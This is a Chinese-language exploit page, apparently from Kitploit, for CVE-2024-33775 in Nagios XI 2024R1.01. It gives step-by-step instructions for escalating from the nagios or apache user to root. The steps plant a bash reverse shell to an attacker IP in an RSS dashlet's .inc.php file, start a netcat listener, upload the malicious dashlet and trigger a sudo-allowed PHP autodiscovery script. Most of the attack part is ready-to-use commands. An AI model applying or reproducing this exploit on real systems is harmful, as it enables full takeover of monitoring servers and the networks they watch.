CVE-2024-33775 — Nagios XI 2024R1.01 的权限提升漏洞利用程序，通过恶意 RSS dashlet 注入和 sudo 命令执行，实现从 NAGIOS 或 APACHE 用户获得完全的 root 访问权限。 | Kitploit

CVE-2024-33775 — Nagios XI 2024R1.01 的权限提升漏洞利用程序，通过恶意 RSS dashlet 注入和 sudo 命令执行，实现从 NAGIOS 或 APACHE 用户获得完全的 root 访问权限。 | Kitploit

CVE 发现者：K. Wahab (Neo`X)

漏洞详情：

产品： Nagios XI 版本 2024R1.01
漏洞： 从 "NAGIOS" 或 "APACHE" 用户权限提升
结果： 获得目标系统的完整 root 访问权限
CVE： https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

利用方法：

本例中使用 RSS Dashlet。

1. 创建新的 Nagios XI 实例：

你可以从以下地址下载 Nagios XI 版本 2024R1.01 的 OVA 文件：https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. 权限提升：

以 NAGIOS 用户利用：

在 dashlet 的 .inc.php 文件 "/usr/local/nagiosxi/html/includes/dashlets/" 中添加以下内容：
```
exec('/bin/bash -i >& /dev/tcp/<攻击者 IP>/4441 0>&1);
```
在攻击者机器上启动 Netcat 监听服务：
```
nc -nlvp 4441
```

执行以下命令以提升权限并以 root 身份接收连接：

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

以 APACHE 用户利用：

前往 "dashlets" 管理页面下载一个 Dashlet：
```
http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
```

修改 *.inc.php 文件：

exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<攻击者 IP>/4441 0>&1'");

Dashlet_inc_php

在攻击者机器上启动 Netcat 监听服务：
```
nc -nlvp 4441
```
在 dashlets 管理页面上传恶意 dashlet，并等待以 APACHE 用户身份接收连接。

执行以下命令以提升权限并以 root 身份接收连接：

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

（注意：执行命令后你将收到 APACHE 用户的连接，使用 CTRL+C 退出并多次重新启动监听器）

Apache_root